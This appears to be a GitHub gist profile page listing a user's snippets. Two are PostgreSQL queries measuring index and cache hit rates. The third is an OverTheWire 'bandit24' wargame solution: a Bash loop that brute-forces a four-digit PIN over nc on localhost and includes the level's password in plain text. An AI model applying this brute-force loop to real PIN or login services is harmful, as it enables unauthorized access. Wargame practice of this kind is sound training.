Skip to content

Instantly share code, notes, and snippets.

View mwsteb's full-sized avatar
🦊

Mateusz Stebnicki mwsteb

🦊
View GitHub Profile
with table_stats as (
select psut.relname,
psut.n_live_tup,
1.0 * psut.idx_scan / greatest(1, psut.seq_scan + psut.idx_scan) as index_use_ratio
from pg_stat_user_tables psut
order by psut.n_live_tup desc
),
table_io as (
select psiut.relname,
sum(psiut.heap_blks_read) as table_page_read,
@mwsteb
mwsteb / pg_index_cache_hit_rate.sql
Created March 15, 2022 18:26 — forked from mattsoldo/pg_index_cache_hit_rate.sql
Postgres Index Hit Rate and Cache Hit Rate
-- Index hit rate
WITH idx_hit_rate as (
SELECT
relname as table_name,
n_live_tup,
round(100.0 * idx_scan / (seq_scan + idx_scan),2) as idx_hit_rate
FROM pg_stat_user_tables
ORDER BY n_live_tup DESC
),
@mwsteb
mwsteb / bandit24-solution
Created November 9, 2016 22:55 — forked from vinzdef/bandit24-solution
4 digit pin bruteforce using Bash expansions for Over The Wire bandit25
for x in {0..9}{0..9}{0..9}{0..9}; do
echo UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $x | nc localhost 30002 | egrep -v "Exiting|Wrong|I am";
echo "Try $x";
done